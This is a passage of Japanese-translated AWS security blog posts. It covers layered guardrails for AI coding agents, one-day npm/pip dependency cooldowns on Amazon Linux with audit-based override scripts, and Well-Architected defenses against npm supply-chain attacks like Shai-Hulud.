Center によるシングルサインオンをサポートしており、サブスクライバーには知的財産権 (IP) に関する補償を提供しています。Kiro のドキュメントで 現在利用可能なリージョンを確認してください。 AWS CodeBuild と AWS CodePipeline: パイプラインのコントロール CodeBuild は、各スキャンツール (シークレット、SAST、SCA、IaC のチェック) をビルドアクションとして実行します。終了コードが 0 以外の場合はアクションが失敗し、ステージは OnFailure の設定に従って停止またはロールバックします。検出結果はコンプライアンス対応のために SARIF 形式で Amazon S3 にエクスポートされ、CodePipeline のアクション変数を通じて下流の承認アクションに渡されます。 CodeBuild の終了コード により、スキャンが失敗した場合にパイプラインを停止します AWS Lambda 呼び出しアクション により、設定可能なしきい値に照らしてスキャン結果を評価し、合格/不合格の判断を返します 手動承認アクション により、パイプラインを一時停止し、 Amazon Simple Notification Service (Amazon SNS) で通知を送信して、レビュー用のアーティファクトへのリンクを提供します。判断内容とレビュー担当者の ID は監査用にログに記録されます 以下の表は、フレームワーク全体を 1 つにまとめたもので、SDLC の各ステージと、そこで適用される決定論的 [D] および非決定論的 [ND] のコントロールを示しています。どのステージにも両方のコントロールが含まれているのは、どちらか一方だけでは不十分であることを表しています。 ステージ 決定論的 [D] 非決定論的 [ND] IDE (生成前) ステアリングファイルの読み込み ステアリングドキュメント、仕様駆動の制約 IDE (生成後) シェルフック: リンター、フォーマッター、型チェッカー、シークレットスキャン AI を活用したタスク完了フック、コンテキストの制約 PR SAST、SCA、IaC のスキャン LLM による PR の事前スクリーニングとスコープの検証 パイプライン (デプロイ前) セキュリティスキャン一式、統合テスト、Policy as Code 人間の承認者向けの AI 支援レビュー デプロイ後 ランタイムモニタリングと異常検出 AI を活用したインシデントトリアージ まとめ 本記事では、レビューされていないリスクを本番環境に持ち込むことなく、マシンの速度で AI コーディングエージェントを活用するためのフレームワークを紹介しました。このフレームワークでは、2 つのポイントでガードレールを重ねます。 作成時のコントロール – ステアリング、仕様、範囲を限定したツールによって、IDE でエージェントが生成するものを方向付けます。 ビルド時のコントロール – スキャン、品質ゲート、多層的なレビューによって、本番環境に到達する前に生成物を検証します。 単一のレイヤーだけでは十分ではありません。決定論的なゲートが厳格なルールを適用し、非決定論的なレビューがそこで見逃された問題を検出し、人間の判断は、本当に必要な意思決定にのみ用います。これらを組み合わせることで、エージェント主導の開発に合わせて AppSec をスケールさせることができます。 今日から取り組めること ステアリングと仕様から始める – セキュリティ要件をステアリングとして記述し、新機能の開発には仕様を活用します。最小限の労力で最大の効果が得られます。すぐに使える出発点としては、オープンソースの Project CodeGuard (Amazon がコントリビューティングメンバーとして参加している OASIS Open の Coalition for Secure AI のプロジェクト) があります。一般的なリスクの分類 (ハードコードされた認証情報、IaC の設定ミス、サプライチェーン、MCP のセキュリティ) に対応した再利用可能なステアリングルールが公開されており、ご自身の AWS 環境に合わせて応用できます。 決定論的なパイプラインゲートを追加する – SAST、SCA、シークレット検出を統合します。AI を使用しているかどうかにかかわらず、最低限必要な対策です。 調整と改善を繰り返す – コントロールが検出した内容を確認し、繰り返し発生する問題に応じてステアリングを調整します。信頼が高まるにつれて、エージェントの自律性を広げていきます。 責任の所在 – リリースするもののセキュリティに責任を負うのは、引き続き開発者です。AI エージェントは開発を加速させますが、責任の所在を移すものではありません。 詳細情報 Kiro のドキュメント AWS CodePipeline ユーザーガイド AWS Agentic AI Security Scoping Matrix Daniel Begimher Daniel は AWS の Senior Security Engineer です。AWS 初のお客様向け AI セキュリティエージェントを構築し、リリースしました。AI インシデント対応エージェントが行動を起こす前にどれだけ深く調査するかを測定するベンチマーク SIR-Bench と、オープンソースのスキャナー Automated Security Helper (ASH) の開発者でもあります。AWS の Application Security Technical Field Community を共同でリードしており、AWS re:Invent、re:Inforce、Cyber Week などのカンファレンスで講演しています。 Danny Cortegaca Danny は Principal Security Specialist Solutions Architect で、AWS Security and Compliance Technical Field Community のアプリケーションセキュリティ領域を共同でリードしています。2021 年に AWS に入社し、世界有数の大規模組織と連携して、複雑なセキュリティ環境や規制環境への対応を支援しています。お客様とアプリケーションセキュリティについて語り合うことが大好きで、多くのお客様が脅威モデリングを実践に取り入れられるよう支援してきました。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 7 月 29 日に公開された AWS Blog “ Secure your npm and pip package updates in Amazon Linux ” を翻訳したものです。 npm や PyPI からパッケージをインストールして使用している場合、パッケージが公開されてからの数時間が最もリスクの高い期間です。スキャナーは公開前のパッケージを分析できないためです。Node.js と Python のパッケージに影響を与えた最近のサプライチェーンイベントは、数時間以内に検出され、削除されています。しかし、それらのパッケージが一般に公開されていた間にユーザーがインストールしていた可能性があり、セキュリティインシデントにつながるおそれがありました。この後で示すデータからわかるように、ユーザーがそれらのパッケージの利用を 1 日待っていれば、最近のサプライチェーンセキュリティイベントはいずれも影響を及ぼさなかったはずです。 この記事では、お使いの環境がこのリスクにさらされるのを防ぐ 1 行の設定として、npm と pip の依存関係のクールダウンを紹介します。この設定により、パッケージマネージャーは過去 24 時間以内に公開されたバージョンをスキップするようになります。その結果、予期しないパッケージがシステムに到達する前に、セキュリティコミュニティがそれらを検出して削除する時間を確保できます。これらの設定で、デフォルトの構成を保護できます。一方、パッケージの更新には、セキュリティリスクに対処するためのセキュリティ修正を受け取るという、もう 1 つのユースケースがあります。この場合は、パッケージをより新しいバージョンに更新します。この記事では、クールダウン設定をオーバーライドする方法も紹介します。この方法を使用すると、新たにインストールするパッケージの更新は遅延させたまま、最新のセキュリティパッチをインストールできます。コードの欠陥の重大度を評価し、既知のリスクがある場合はセキュリティ修正を適用することをお勧めします。重大度に基づくセキュリティ修正の扱い方や、重大度に応じたセキュリティ修正の SLA の指定方法は、このブログ記事の範囲外です。 背景: 相反する 2 つのリスク Amazon Linux のパッケージで提供されるソフトウェアは、リリース前に Amazon のパッケージメンテナーによるレビューを受け、ガードレールを通過します。オープンソースソフトウェアも、同様のプロセスとガードレールの下で開発、保守されています。一方、npm と PyPI のレジストリは誰でもパッケージを公開でき、レビューも必須ではありません。そのため、なりすましや盗まれた認証情報などが原因で、予期しないパッケージがレジストリに追加される可能性があります。つまり、2 つのリスクの板挟みになります。古いソフトウェアにはパッチが適用されていない脆弱性が蓄積していく一方で、新しいパッケージにはまだ検出されていない予期しない脆弱性が含まれている可能性があります。最善のアプローチは、最新のリリースをすぐには採用せずに十分に新しい状態を保ちながら、推奨されるセキュリティ修正を適用することです。次の図は、2 種類のリスクの関係を抽象的に示しています。予期しない更新はガードレールを回避する可能性があるため、サプライチェーンのリスクはパッケージの公開直後に最も高くなります。パッケージの公開後は、監査でその内容をレビューし、時間の経過とともに潜在的な欠陥を特定できます。セキュリティ修正を適用しなければ、コードのあらゆる欠陥によるリスクが積み重なっていきます。 図 1: ソフトウェアのライフタイムを通じたリスク。パッチが適用されていない脆弱性のリスクは、時間の経過とともに増加します。また、公開されたばかりのソフトウェアは、サプライチェーンのリスクも高くなります。 問題: 最初の 1 日のリスクが最も高い サプライチェーンイベントには一貫したパターンがあります。想定外の作成者が、予期しないパッケージまたはパッケージバージョンを公開し、自動化されたシステムやユーザーがそれを取り込むのを待ちます。セキュリティ研究者や自動スキャナーは通常、数時間以内にこれらのパッケージを検出して削除しますが、その時点で既にシステムはリスクにさらされています。 Datadog の 2026 State of DevSecOps レポート によると、JavaScript アプリケーションの 54% が、少なくとも 1 つの依存関係を、そのリリースから 1 日以内にインストールしています。この時間枠こそが、サプライチェーンのリスクが最も高い期間です。最近のイベントを見ると、検出がいかに迅速に行われているかがわかります。 イベント リスクにさらされる期間 Nx s1ngularity (2025 年 8 月) 4～5 時間 axios (2026 年 3 月) 2～3 時間 Bitwarden CLI (2026 年 4 月) 93 分 TanStack (2026 年 5 月) 30 分 node-ipc (2026 年 5 月) 24 時間未満 解決策: 当日に公開されたパッケージをスキップする 依存関係のクールダウンは、最近公開されたバージョンをスキップするようパッケージマネージャーに指示する仕組みです。レジストリに公開されてから設定した期間 (例えば 1 日) が経過していないバージョンはインストールされないため、セキュリティコミュニティが予期しないバージョンを検出して削除する時間を確保できます。 1 日のクールダウンを設定すれば、前述の表に記載したイベントをすべてブロックできます。注目すべきは、これらのイベントのいくつかでは有効な来歴証明 (provenance attestation) が生成され、ビルド検証にも合格していた点です。つまり、来歴チェックだけではこれらのイベントを阻止できませんでした。クールダウンは信頼ではなく経過時間に基づいてブロックするため、認可メカニズムとは独立して機能します。 npm (v11.10.0 以降) と pip (v26.1 以降) は、どちらもクールダウンをサポートしています。Amazon Linux 2023 では、 リリース 2023.12.20260608 以降、Node.js 24 と Python 3.14 でこれらのパッケージを提供しています。 固定されたバージョンを指定した npm ci または pip install -r requirements.txt によるロックファイルベースのインストールでは、最新のパッケージ更新は取り込まれません。これらのインストールには、クールダウンは適用されません。クールダウンが影響するのは、新規または更新されたパッケージの解決のみです。詳細については、 「ロックファイルベースのインストールとクールダウン」 セクションを参照してください。 前提条件 次のソリューションを実装するには、以下の前提条件を満たしている必要があります。 Node.js 24 と npm 11.10.0 以降 (nodejs24-24.14.1-1.amzn2023.0.1 以降に含まれる) Python 3.14 と pip 26.1 (python3.14-pip-26.1.1-1.amzn2023.0.1 以降に含まれる) pip-audit (Python パッケージをスキャンするツールで、既知の欠陥に基づいてクールダウンをオーバーライドするスクリプトに必要)。インストールするには、 python3.14 -m pip install pip-audit を使用します。 Node.js と Python の今後のバージョンでは、新しいコマンドが導入されます。以下のツールコマンドは、Node.js 24 と Python 3.14 を使用する Amazon Linux 2023 で動作します。記載しているコマンドは特定のパッケージバージョンを対象としているため、それ以降のリリースを使用する場合はコマンドを調整してください。 npm のクールダウンを設定するには Node.js のバージョンに応じたグローバル設定ディレクトリを作成します。 sudo mkdir -p /usr/lib/nodejs24/etc クールダウン設定を含む npm 設定ファイルを追加します。 sudo npm-24 config set min-release-age 1 --location=global 次のコマンドを実行して、クールダウンが有効になっていることを確認します。 npm-24 config list 出力に before = "<timestamp from 24 hours ago>" と表示されれば、npm が 1 日のクールダウンを日付フィルターに変換したことを確認できます。 詳細については、 npm min-release-age のドキュメント を参照してください。 pip のクールダウンを設定するには クールダウン設定を含むシステム全体の pip 設定ファイルを作成します。 sudo python3.14 -m pip config set --global global.uploaded-prior-to P1D 設定を確認します (Python 3.14 および pip 26.1 以降の場合)。 python3.14 -m pip config list 出力に global.uploaded-prior-to='P1D' と表示されます。 古いバージョンの pip (25.x) はこの設定を警告なしで無視するため、この設定はすぐにデプロイしても問題ありません。 クールダウンなしでパッケージの最新バージョンをインストールするには セキュリティ修正を受け取りたい場合など、パッケージの最新バージョンをインストールするにはどうすればよいでしょうか? 以下のセクションでは、ツールのコマンドラインでフラグをオーバーライドする方法を説明します。緊急の更新が必要なパッケージを特定するには、使用しているパッケージマネージャーに対応する監査コマンドを実行します。 npm audit または python3.14 -m pip_audit npm パッケージの場合 クールダウンをオーバーライドしてパッケージをインストールします。 npm-24 install <package-name> --min-release-age=0 pip パッケージの場合 クールダウンをオーバーライドしてパッケージをインストールします。 python3.14 -m pip install <package-name> --uploaded-prior-to="P0D" 緊急の更新が必要なパッケージを更新する 既知のセキュリティリスクがあるパッケージには、セキュリティ修正を適用することをお勧めします。セキュリティ修正を適用するために、クールダウンを完全に無効にする必要はありません。監査ツールで既知の問題があるパッケージを特定し、それらのパッケージに限ってクールダウンをオーバーライドします。 前提条件: Python 3 と pip-audit がインストールされていることを確認してください (python3.14 -m pip install pip-audit)。 重要: これらのスクリプトは考え方を示すためのものです。本番環境で使用する場合は、エラー処理、ログ記録、テストを追加してください。また、自動化されたパイプラインでパッケージを更新する前に、パッケージをレビューしてください。 npm パッケージの場合 次のスクリプトは、既知のセキュリティ修正がある npm パッケージを特定するために必要な手順を示しています。npm audit コマンドは、該当するパッケージを JSON 形式で出力します。次に、npm install コマンドでこのリストのパッケージを更新します。このとき、最新バージョンが取得されるようにクールダウンをオーバーライドします。 npm audit --json | python3 -c " import json, sys, subprocess data = json.load(sys.stdin) for pkg in data.get('vulnerabilities', {}): subprocess.run(['npm-24', 'install', f'{pkg}@latest', '--min-release-age=0']) " pip パッケージの場合 次のスクリプトは、既知のセキュリティ修正がある pip パッケージを特定するために必要な手順を示しています。pip_audit コマンドは、該当するパッケージを JSON 形式で出力します。次に、クールダウンをオーバーライドする pip install コマンドで、このリストのすべてのパッケージを更新し、最新バージョンを取得できるようにします。 python3.14 -m pip_audit --format=json | python3.14 -c " import json, sys, subprocess from packaging.version import Version data = json.load(sys.stdin) for dep in data.get('dependencies', []): pkg = dep['name'] vulns = dep.get('vulns', []) if not vulns: continue fix_versions = [v for vuln in vulns for v in vuln.get('fix_versions', [])] if not fix_versions: print(f'{pkg}: vulnerable but no fix published, skipping') continue fix = max(fix_versions, key=Version) print(f'Updating {pkg} -> {fix}') subprocess.run(['python3.14', '-m', 'pip', 'install', f'{pkg}=={fix}', '--uploaded-prior-to=P0D']) " ロックファイルベースのインストールとクールダウン 固定されたバージョンを指定して npm ci または pip install -r requirements.txt を使用する場合、クールダウンは適用されません。これらのコマンドは、パッケージが公開されてからの経過時間にかかわらず、ロックファイルで指定された内容をインストールします。クールダウンが影響するのは、新規または更新されたパッケージの解決のみです。 業界での採用: PyPI と Node.js のエコシステム全体で広がるクールダウンの利用 主要なパッケージマネージャーや企業が、依存関係のクールダウンを採用し始めています。2026 年 5 月時点で、広く使われている複数のパッケージ管理ツールにクールダウン機能が搭載されています。具体的には、pnpm (高速な Node.js パッケージマネージャー)、Renovate (依存関係の自動更新ツール)、StepSecurity (サプライチェーンセキュリティプラットフォーム) です。 pnpm 11 では、 minimumReleaseAge がデフォルトで有効になっています。pnpm は、クールダウンをオプトインではなくオプトアウト方式にした最初の主要なパッケージマネージャーの 1 つです。 Renovate の config best-practices プリセットには 2025 年から 3 日間の npm クールダウンが含まれており、多くの企業で採用されています。 StepSecurity Secure Registry は、エンタープライズ顧客向けに、設定可能なクールダウン期間を採用しています。StepSecurity は、デフォルトとして 10 日間の遅延を推奨しています。 AWS によるオープンソースサプライチェーンの保護への取り組み AWS は、予期しないパッケージがお客様に届く前に検出できるよう、アップストリームのパッケージレジストリをスキャンしています。 Amazon Inspector は、ソフトウェアの脆弱性とネットワークの露出がないかワークロードを継続的にスキャンするセキュリティ管理サービスで、AI 支援の検出ルールを使用してアップストリームのパッケージレジストリもスキャンしています。2025 年には、Amazon Inspector の研究者が、トークンファーミングキャンペーンに関連する 15 万件以上の予期しない npm パッケージを特定 しました。 AWS Security は、 Shai-Hulud ワーム と axios イベント に関する詳細な対応ガイダンスを公開しました。 AWS は、 Open Source Security Foundation の 1,250 万ドル規模のオープンソースセキュリティ助成金 に拠出し、エコシステム全体に利益をもたらすプロアクティブなスキャンインフラストラクチャに資金を提供しています。 予期しないパッケージは通常、公開から数時間以内に検出されます。1 日のクールダウンを設定しておけば、この検出期間中にそれらのパッケージをインストールしてしまうことはありません。 推奨事項 Amazon Linux 2023 の設定を保護するには、以下を実施してください。 1 日のクールダウンを設定する : 前述のセクションで示したとおり、npm と pip に設定します。外部レジストリには人によるレビューがないため、防御側が問題を検出できる時間を確保してください。 必要に応じてオーバーライドする : 緊急のセキュリティパッチを適用する場合は、コマンドごとのフラグを使用します。 npm audit または pip_audit を実行する : 定期的に実行し、すぐに対応が必要なパッケージを特定します。 クールダウンは 1 行の設定で有効にでき、すぐに保護が適用されます。 まとめ この記事で紹介したソリューションを実装すると、npm と PyPI の環境を、予期しないコードが入り込むケースの大半から保護できます。1 日の更新遅延により、最新のセキュリティ修正を適用できる状態を保ちながら環境を保護できます。環境をさらに保護する方法については、次のリソースを参照してください。 Node.js セキュリティのベストプラクティス npm min-release-age のドキュメント Pip Secure installs のドキュメント pip uploaded-prior-to のドキュメント OpenSSF Best Practices Amazon Linux 2023 のドキュメント Norbert Manthey Norbert は Amazon Linux チームのセキュリティエンジニアで、Amazon EC2 のハイパーバイザーとオペレーティングシステム全体にわたるプロアクティブなセキュリティに注力しています。オペレーティングシステムのデフォルト設定の強化、静的分析と AI 駆動の分析によるコードの問題の早期検出、Amazon Linux に同梱されるパッケージのサプライチェーンセキュリティの向上に取り組んでいます。また、これらのプロセス改善の自動化、ソフトウェア開発ライフサイクルへの組み込み、シフトレフトを提唱しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 5 月 26 日に公開された AWS Blog “ Well-architected best practices for software supply chain security ” を翻訳したものです。 npm Registry を悪用した注目すべきサプライチェーン攻撃が相次いでいます。Shai-Hulud、Chalk/Debug、tea.xyz トークンを悪用した攻撃、そして最近では axios などです。 Amazon Inspector チームや Open Source Security Foundation などが参加したコミュニティの取り組みにより、影響を受けたパッケージは迅速に特定され、これらのインシデントの影響を抑えることができました。 Shai-Hulud のようなサプライチェーン攻撃は、2 つの側面の脆弱性を突きます。1 つは、侵害されて悪意のあるパッケージの公開に使われるメンテナーアカウントです。もう 1 つは、それらのパッケージをダウンロードして実行する利用者の環境です。図 1 に示す Shai-Hulud 攻撃が成功したのは、フィッシングによってメンテナーの認証情報が侵害され、脅威アクターが人気パッケージの悪意のあるバージョンを公開できたためです。このようなインシデントは、ソフトウェアサプライチェーンにおける強固なセキュリティプラクティスの必要性を浮き彫りにしています。効果的に防御するには、両方の側面に対処する必要があります。パッケージメンテナーには、アカウントの侵害を防ぎ、認証情報が盗まれた場合でも被害の拡大を抑える保護策が必要です。パッケージ利用者には、悪意のあるパッケージを検出してデプロイを防ぎ、侵害が発生した場合の被害を抑える多層的な防御が必要です。 この記事では、パッケージ利用者向けのベストプラクティスを紹介します。これらのプラクティスは「 AWS Well-Architected フレームワーク – セキュリティの柱 」に沿ったもので、類似の脅威にさらされるリスクを低減し、万一脅威が発生した場合の影響を抑えるのに役立ちます。 図 1: Shai-Hulud 攻撃の流れを示すアーキテクチャ図 一時的な認証情報を使用し、最小権限を付与する Shai-Hulud は、開発者環境や継続的インテグレーションおよび継続的デリバリー (CI/CD) パイプラインで実行されると、npm トークン、GitHub トークン、 AWS Identity and Access Management (IAM) のアクセスキーなどのシークレットを探索しました。こうして漏えいした長期的な認証情報により、脅威アクターはマルウェアをさらに拡散させ、クラウドリソースにアクセスできるようになりました。最近のインシデントでは、漏えいした IAM 認証情報ペアを複数発見した組織が、他にも認証情報が漏えいしていないか、CI/CD パイプラインが侵害されていないかを懸念する事例も見られました。 開発者環境や CI/CD パイプラインから長期的な認証情報を排除すれば、システムが侵害された場合でも漏えいの範囲を縮小できます。ローカルで作業する開発者は、 新しい AWS CLI のログインコマンド ( aws login ) を使用することで、短期間有効な CLI 認証情報を簡単に取得でき、設定ファイルに長期的な認証情報を保存する必要がなくなります。 AWS IAM Identity Center でも、自動的に有効期限が切れる一時的な認証情報を簡単に取得できます。CI/CD パイプラインでは、GitHub Actions や GitLab CI などのプラットフォームとの OpenID Connect (OIDC) フェデレーションを利用することで、長期的なトークンを保存せずに、ジョブごとに一時的な認証情報を取得できます。また、 IAM は AWS のアイデンティティを外部サービスにフェデレーションすることもできます 。これにより、AWS のワークロードは長期的な認証情報を使用せずに外部サービスへ安全にアクセスできます。一時的な認証情報は自動的に有効期限が切れるため、万一パイプラインが侵害されても、漏えいの影響を受ける期間を限定できます。 一時的な認証情報に対応していないサードパーティのサービスを利用する場合は、 AWS Secrets Manager を使用して認証情報を一元的に保管することを検討してください。シークレットへのアクセスを制限し、一時的な認証情報の使用を必須とするとともに、自動ローテーションと監査ログを適用して、これらの認証情報が漏えいするリスクを低減してください。 認証情報の漏えいによるリスクを低減するための対策は次のとおりです。 一時的な認証情報を使用する : 一元的な ID プロバイダーから AWS にユーザーをフェデレーションし、IAM ロールを使用してアクセスします。詳細については、「 SEC02-BP02: 一時的な認証情報を使用する 」を参照してください。 最小権限を付与する : 必要最小限の権限のみを割り当て、時折高い権限が必要になる場合は、一時的に昇格した権限を使用します。詳細については、「 SEC03-BP02: 最小権限のアクセスを付与する 」を参照してください。 長期的な認証情報を監査およびローテーションする : 特定のユースケースで長期的な認証情報が必要な場合は、監査とローテーションを行います。詳細については、「 SEC02-BP05: 認証情報を定期的に監査およびローテーションする 」を参照してください。 認証情報が漏えいした可能性のあるセキュリティインシデントが発生した場合は、影響範囲を限定するために、すべての長期的な認証情報を直ちにローテーションしてください。また、 Amazon GuardDuty と AWS CloudTrail を使用して、異常な IAM アクティビティを検出し、侵害された可能性のある認証情報を特定してください。 多層防御を実装する 一時的な認証情報と最小権限を適用していても、アカウントが 1 つ侵害されるだけで、脅威アクターに悪意のあるパッケージを公開されたり、機密性の高いリソースにアクセスされたりするおそれがあります。多層防御では、連携して機能する複数の保護レイヤーを構築することで、最初の侵害後に被害が拡大するのを防ぎます。すべての操作に承認ワークフローを追加するとデプロイの速度が大幅に低下しますが、機密性の高いワークロードに絞って戦略的に導入すれば、スピードとセキュリティのバランスを取ることができます。 重要な原則は、1 つの認証情報やアカウントが侵害されても、追加の制御によって侵害が組織全体に広がらないようにすることです。具体的には、アクセス時の多要素認証 (MFA) と、機密性の高いワークロード用に分けた IAM ロールを組み合わせます。開発者が 1 人だけのオープンソースプロジェクトでは、複数のメンテナーによる職務の分離ができないため、MFA の重要性がさらに高まります。 チームで作業するパッケージメンテナーの場合、本番環境へのパッケージのリリースに複数人による承認を必須とすることで、職務の分離を実現できます。ただし、開発者はデプロイパイプラインを開始するマージリクエストを作成できるため、機密性の高いデプロイでは、パイプライン自体に複数人による承認を組み込む必要があります。こうすることで、開発者の認証情報が侵害されてデプロイがトリガーされても、本番環境へのリリース前にパイプラインが追加の承認を要求します。 パッケージ利用者の場合は、デプロイパイプラインに複数人による承認ワークフローを組み込むことで、悪意のあるパッケージが初期スキャンをすり抜けても、本番環境へのデプロイ前に人によるレビューで不審な変更に気付ける可能性が高まります。アーティファクト署名は、こうしたプロセス上の制御を補完する暗号学的なレイヤーとして機能します。 Shai-Hulud 攻撃が成功したのは、侵害されたメンテナーの認証情報を使って、脅威アクターが悪意のあるパッケージをパブリックな npm レジストリに直接公開できたためです。パッケージ利用者にとっての防御策は、パブリックレジストリから取得したパッケージが検証を経ずに本番環境に到達できないようにすることです。アーティファクト署名は、こうした多層的なアプローチを具体的に実装する手段の 1 つです。署名によって、パッケージやコンテナイメージを、それを生成したアイデンティティに暗号学的に結び付けることで、ビルドのトリガーに使用された認証情報とは独立した検証レイヤーを構築できます。つまり、開発者の認証情報が侵害されただけでは、未検証のアーティファクトをデプロイパイプラインに持ち込むことはできません。 多層防御の一環としてのアーティファクト署名 AWS Signer はパッケージに暗号署名を付与し、多層防御戦略の中に追加の検証レイヤーを構築します。署名の認可モデルでは責任を分離し、開発者の認証情報には署名権限を付与しないようにします。 signer:SignPayload API を使用して署名する権限は、CI/CD パイプラインのロールにのみ付与します。Signer は、FIPS 140-3 レベル 3 の検証を受けたハードウェアセキュリティモジュール (HSM) に署名キーを保存し、強力な暗号保護を提供します。 図 2 に示すコンテナイメージの署名ワークフローを見ると、署名を既存のプロセスにシームレスに組み込めることがわかります。 開発者または CI/CD パイプラインがコンテナイメージをビルドし、 Amazon Elastic Container Registry (Amazon ECR) にプッシュします 新機能の Amazon ECR マネージド署名 を使用すると、イメージのプッシュ時に Amazon ECR が自動的に署名をトリガーします Amazon ECR がイメージダイジェストと署名プロファイルを指定して Signer を呼び出します Signer が署名プロファイルの権限を検証し、FIPS 140-3 レベル 3 の検証済み HSM に保存されているキーを使用してイメージダイジェストに署名します 署名は Open Container Initiative (OCI) アーティファクト形式で、Amazon ECR 内のイメージと一緒に保存されます デプロイ時には、アドミッションコントローラー ( Amazon Elastic Kubernetes Service (Amazon EKS) の場合は Kyverno) や Amazon Elastic Container Service (Amazon ECS) のライフサイクルフックが、デプロイを許可する前に署名を検証します 図 2: Signer の署名ワークフローを示す図 独自の署名インフラストラクチャを構築する場合と比べた Signer のメリットは次のとおりです。 フルマネージド : 独自の署名インフラストラクチャの構築や証明書のライフサイクル管理が不要です 自動化 : Amazon ECR マネージド署名は、イメージのプッシュ時に手動の手順なしで自動的に実行されます 一元的なガバナンス : 1 つの署名プロファイルを複数のアカウントやパイプラインで使用できます ネイティブ統合 : Amazon EKS での署名検証のために、Notation および Kyverno との統合が組み込まれています FIPS 140-3 レベル 3 準拠 : 暗号操作に関する厳格な規制要件を満たします すべての署名オペレーションの監査ログを記録しておけば、新しい IP アドレスからの署名、通常とは異なる時間帯の署名、署名ジョブの短時間での連続実行といった異常なパターンを検出できます。システム内のすべての認証情報について、誰が何にアクセスできるのか、どのように本人確認を行うのか、その認証情報が侵害された場合に被害の拡大を防ぐ第 2 のレイヤーは何かを検討してください。アーティファクト署名を一元的なストレージやソフトウェア部品表 (SBOM) と組み合わせることで、改ざんや悪意のあるパッケージに対する多層的な保護を実現できます。 依存関係を一元管理する パッケージと依存関係の管理を一元化すると、アプリケーションで使用する前に依存関係を検証、承認できる他、サプライチェーンのセキュリティインシデント発生時に依存関係をすばやく監査できます。最近のインシデントでは、社内のアーティファクトリポジトリで侵害された npm パッケージが見つかり、影響を受けた可能性のあるアプリケーションを迅速に洗い出す必要に迫られた組織もありました。 AWS では、 AWS CodeArtifact を使用して組織のソフトウェアパッケージをホストおよび管理できます。パッケージグループ設定を使用すると、承認済みのアップストリームソースのリストを定義し、それ以外へのアクセスをブロックできます。これは、正規のパッケージによく似た名前で悪意のあるパッケージを公開するタイポスクワッティング攻撃に対する直接的な対策となります。インストール時に開発者が不審なパッケージ名を見抜くことに頼るのではなく、パッケージグループ設定によって、承認済みのアップストリームソース以外へのアクセスをリポジトリレベルで制限できます。また、一元化することで、依存関係のバージョンを固定して自動更新による悪意のあるバージョンの取り込みを防げる他、インシデント発生時にはソフトウェアポートフォリオ全体から侵害された依存関係をすばやく削除できます。 コンテナイメージについては、Amazon ECR が、 AWS Key Management Service (AWS KMS) による暗号化とライフサイクルポリシーを備えた一元的なイメージストレージを提供します。Amazon ECR と Amazon Inspector のスキャンを組み合わせて、イメージの完全性を継続的に検証してください。 詳細なガイダンスについては、「 SEC11-BP05: パッケージと依存関係のサービスを一元化する 」を参照してください。 npm の来歴証明 特に npm パッケージについては、来歴証明 (provenance attestation) が利用者側の補完的な制御となります。npm 9.5 以降で利用できる npm の来歴証明は、Sigstore を署名基盤として使用し、公開されたパッケージを、それを生成したソースリポジトリおよび CI/CD ワークフローに関連付けます。パッケージのインストール時に、npm CLI は公開されたアーティファクトが証明されたビルドの来歴と一致することを検証できるため、ビルドから公開までの間にパッケージが改ざんされていないという確信が得られます。オープンソースの npm パッケージを利用する組織にとって、新しい依存関係を追加する前に来歴証明の有無を確認することは、少ない手間でサプライチェーンの完全性を判断できる手がかりになります。npm にパッケージを公開するメンテナーは、GitHub Actions などのサポートされている CI/CD 環境で npm publish --provenance を実行すると、来歴証明を有効にできます。 詳細なガイダンスについては、「 SEC11-BP06: ソフトウェアをプログラムでデプロイする 」、および AWS Well-Architected フレームワークの DevOps レンズにある「 DL.CS.2: Sign code artifacts after each build 」を参照してください。 ソフトウェア開発ライフサイクル全体で依存関係をスキャンする AWS は、開発からデプロイまで依存関係を継続的にスキャンするためのサービスを提供しています。 開発時 : Kiro は、コードレビュー中にソフトウェア構成分析を実行して、脆弱なサードパーティコードを特定できます。 コードリポジトリとパイプライン : Amazon Inspector は、ファーストパーティコード、サードパーティの依存関係、Infrastructure as Code の脆弱性をスキャンします。 コンテナイメージ : Amazon Inspector は、Amazon ECR イメージの脆弱性を継続的にスキャンします。また、Amazon Inspector を CI/CD パイプラインに直接統合すれば、Amazon ECR へのプッシュやデプロイの前にイメージをスキャンできるため、リリースサイクルの早い段階で侵害された依存関係をブロックできます。 従来の脆弱性スキャナーは、既知の CVE (識別子が割り当てられ、公開されている脆弱性) を対象としています。一方、Shai-Hulud のようなサプライチェーン攻撃で使われる悪意のあるパッケージは、ゼロデイとして機能します。これらは脅威アクターが意図的に作成したもので、CVE が割り当てられる前から積極的に悪用されます。CVE データベースに依存する従来の脆弱性スキャナーでは、これらのパッケージが正式に特定されてカタログに登録されるまで検出できず、それまでに数日から数週間かかることもあります。 こうしたパッケージを検出するには、静的なシグネチャマッチングだけでなく、大規模な振る舞い分析とコミュニティの連携が欠かせません。AWS は、その大規模な運用を通じて、MadPot などから得られる脅威インテリジェンスや数百万のお客様にわたるインシデント対応データを活用し、複数の環境で不審なパッケージの振る舞いを同時に検出できます。新しく公開されたパッケージが、公開から数時間以内に複数のお客様のアカウントで認証情報の窃取を試みる振る舞いを示した場合、こうしたアカウント横断のシグナルによって迅速に特定できます。これらの検出結果は、OpenSSF Malicious Packages Repository ( github.com/ossf/malicious-packages ) などのコミュニティが管理するデータベースに提供されます。このデータベースは正式な識別子 (MAL-ID) を割り当て、セキュリティコミュニティ全体で共有します。tea.xyz のトークンファーミングキャンペーンでは、報告から正式な特定までにかかった時間は平均で約 30 分でした。Amazon Inspector などの AWS サービスはこのコミュニティのサイクルに参加しており、検出結果を提供するとともに、新たに割り当てられた MAL-ID を取り込んで、お客様の環境内の脅威を可視化します。 関連する脅威モデルとして理解しておきたいのが、スリーパーパッケージです。スリーパーパッケージとは、公開時には無害に見え、一定時間の経過後や特定の条件が満たされた後に初めて悪意のある振る舞いを開始するパッケージです。インストール時点では悪意のあるペイロードが存在しないか有効になっていないため、静的分析だけではこうしたパッケージを捕捉できません。Amazon Inspector の振る舞い分析は、特にこの種の脅威の検出を目的として設計されており、静的な脆弱性スキャンを補完します。 SPDX または CycloneDX 形式の SBOM を使用すると、インシデント発生時に影響をすばやく評価できます。サプライチェーンのインシデントに対応する際は、SBOM を使用して侵害されたパッケージを含むアプリケーションを特定し、修復の優先順位を付け、影響範囲を評価します。Shai-Hulud インシデントでは、侵害されたパッケージ (MAL-2025-46974 および CVE-2025-59144) 